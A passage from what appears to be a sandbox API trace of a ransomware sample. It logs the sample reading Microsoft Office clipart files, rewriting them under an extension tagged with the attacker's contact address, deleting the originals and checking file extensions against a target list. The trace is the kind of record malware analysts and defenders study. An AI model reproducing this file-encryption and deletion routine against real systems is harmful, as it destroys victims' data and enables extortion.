Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0167.642] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.642] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.655] GetLastError () returned 0x0 [0167.655] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0167.658] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4f00, lpOverlapped=0x0) returned 1 [0167.659] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.659] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.659] SetEndOfFile (hFile=0x354) returned 1 [0167.662] CloseHandle (hObject=0x354) returned 1 [0167.663] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.663] SetEndOfFile (hFile=0x2e8) returned 1 [0167.668] CloseHandle (hObject=0x2e8) returned 1 [0167.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0167.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.674] lstrlenW (lpString=".doc") returned 4 [0167.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.674] lstrlenW (lpString=".docx") returned 5 [0167.674] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.674] lstrlenW (lpString=".pdf") returned 4 [0167.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.674] lstrlenW (lpString=".xls") returned 4 [0167.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.674] lstrlenW (lpString=".xlsx") returned 5 [0167.674] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.674] lstrlenW (lpString=".ppt") returned 4 [0167.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.674] lstrlenW (lpString=".zip") returned 4 [0167.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.674] lstrlenW (lpString=".rar") returned 4 [0167.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.674] lstrlenW (lpString=".bz2") returned 4 [0167.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.674] lstrlenW (lpString=".7z") returned 3 [0167.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".dbf") returned 4 [0167.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".1cd") returned 4 [0167.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".jpg") returned 4 [0167.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".doc") returned 4 [0167.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString=".docx") returned 5 [0167.675] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.675] lstrlenW (lpString=".pdf") returned 4 [0167.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString=".xls") returned 4 [0167.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.675] lstrlenW (lpString=".xlsx") returned 5 [0167.675] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.675] lstrlenW (lpString=".ppt") returned 4 [0167.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".zip") returned 4 [0167.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.675] lstrlenW (lpString=".rar") returned 4 [0167.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString=".bz2") returned 4 [0167.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString=".7z") returned 3 [0167.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".dbf") returned 4 [0167.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".1cd") returned 4 [0167.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0167.675] lstrlenW (lpString=".jpg") returned 4 [0167.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.675] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.676] lstrlenW (lpString="J0107280.WMF") returned 12 [0167.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.684] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11108) returned 1 [0167.684] CloseHandle (hObject=0x354) returned 1 [0167.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0167.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.692] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.692] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.697] GetLastError () returned 0x0 [0167.697] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2b64, lpOverlapped=0x0) returned 1 [0167.699] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2b70, lpOverlapped=0x0) returned 1 [0167.700] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.700] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.700] SetEndOfFile (hFile=0x378) returned 1 [0167.702] CloseHandle (hObject=0x378) returned 1 [0167.703] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.703] SetEndOfFile (hFile=0x2ec) returned 1 [0167.704] CloseHandle (hObject=0x2ec) returned 1 [0167.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString=".doc") returned 4 [0167.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString=".docx") returned 5 [0167.709] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.709] lstrlenW (lpString=".pdf") returned 4 [0167.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString=".xls") returned 4 [0167.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.709] lstrlenW (lpString=".xlsx") returned 5 [0167.709] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.709] lstrlenW (lpString=".ppt") returned 4 [0167.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString=".zip") returned 4 [0167.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.709] lstrlenW (lpString=".rar") returned 4 [0167.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString=".bz2") returned 4 [0167.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString=".7z") returned 3 [0167.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString=".dbf") returned 4 [0167.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString=".1cd") returned 4 [0167.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString=".jpg") returned 4 [0167.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.709] lstrlenW (lpString=".doc") returned 4 [0167.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.709] lstrlenW (lpString=".docx") returned 5 [0167.709] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.710] lstrlenW (lpString=".pdf") returned 4 [0167.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.710] lstrlenW (lpString=".xls") returned 4 [0167.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.710] lstrlenW (lpString=".xlsx") returned 5 [0167.710] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.710] lstrlenW (lpString=".ppt") returned 4 [0167.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.710] lstrlenW (lpString=".zip") returned 4 [0167.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.710] lstrlenW (lpString=".rar") returned 4 [0167.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.710] lstrlenW (lpString=".bz2") returned 4 [0167.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.710] lstrlenW (lpString=".7z") returned 3 [0167.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.710] lstrlenW (lpString=".dbf") returned 4 [0167.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.710] lstrlenW (lpString=".1cd") returned 4 [0167.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0167.710] lstrlenW (lpString=".jpg") returned 4 [0167.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.710] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.710] lstrlenW (lpString="J0107300.WMF") returned 12 [0167.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.716] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2460) returned 1 [0167.716] CloseHandle (hObject=0x378) returned 1 [0167.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0167.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0167.724] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.724] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.729] GetLastError () returned 0x0 [0167.729] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x99c, lpOverlapped=0x0) returned 1 [0167.732] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0167.733] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.733] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.733] SetEndOfFile (hFile=0x388) returned 1 [0167.742] CloseHandle (hObject=0x388) returned 1 [0167.744] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.744] SetEndOfFile (hFile=0x394) returned 1 [0167.749] CloseHandle (hObject=0x394) returned 1 [0167.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0167.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString=".doc") returned 4 [0167.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".docx") returned 5 [0167.756] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.756] lstrlenW (lpString=".pdf") returned 4 [0167.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".xls") returned 4 [0167.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.756] lstrlenW (lpString=".xlsx") returned 5 [0167.756] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.756] lstrlenW (lpString=".ppt") returned 4 [0167.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString=".zip") returned 4 [0167.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.756] lstrlenW (lpString=".rar") returned 4 [0167.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".bz2") returned 4 [0167.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".7z") returned 3 [0167.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString=".dbf") returned 4 [0167.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString=".1cd") returned 4 [0167.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString=".jpg") returned 4 [0167.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.756] lstrlenW (lpString=".doc") returned 4 [0167.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".docx") returned 5 [0167.756] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.756] lstrlenW (lpString=".pdf") returned 4 [0167.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.756] lstrlenW (lpString=".xls") returned 4 [0167.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.756] lstrlenW (lpString=".xlsx") returned 5 [0167.757] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.757] lstrlenW (lpString=".ppt") returned 4 [0167.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.757] lstrlenW (lpString=".zip") returned 4 [0167.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.757] lstrlenW (lpString=".rar") returned 4 [0167.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString=".bz2") returned 4 [0167.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString=".7z") returned 3 [0167.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.757] lstrlenW (lpString=".dbf") returned 4 [0167.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.757] lstrlenW (lpString=".1cd") returned 4 [0167.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0167.757] lstrlenW (lpString=".jpg") returned 4 [0167.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.757] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.757] lstrlenW (lpString="J0107314.WMF") returned 12 [0167.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.766] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10852) returned 1 [0167.766] CloseHandle (hObject=0x39c) returned 1 [0167.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0167.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.777] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.777] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 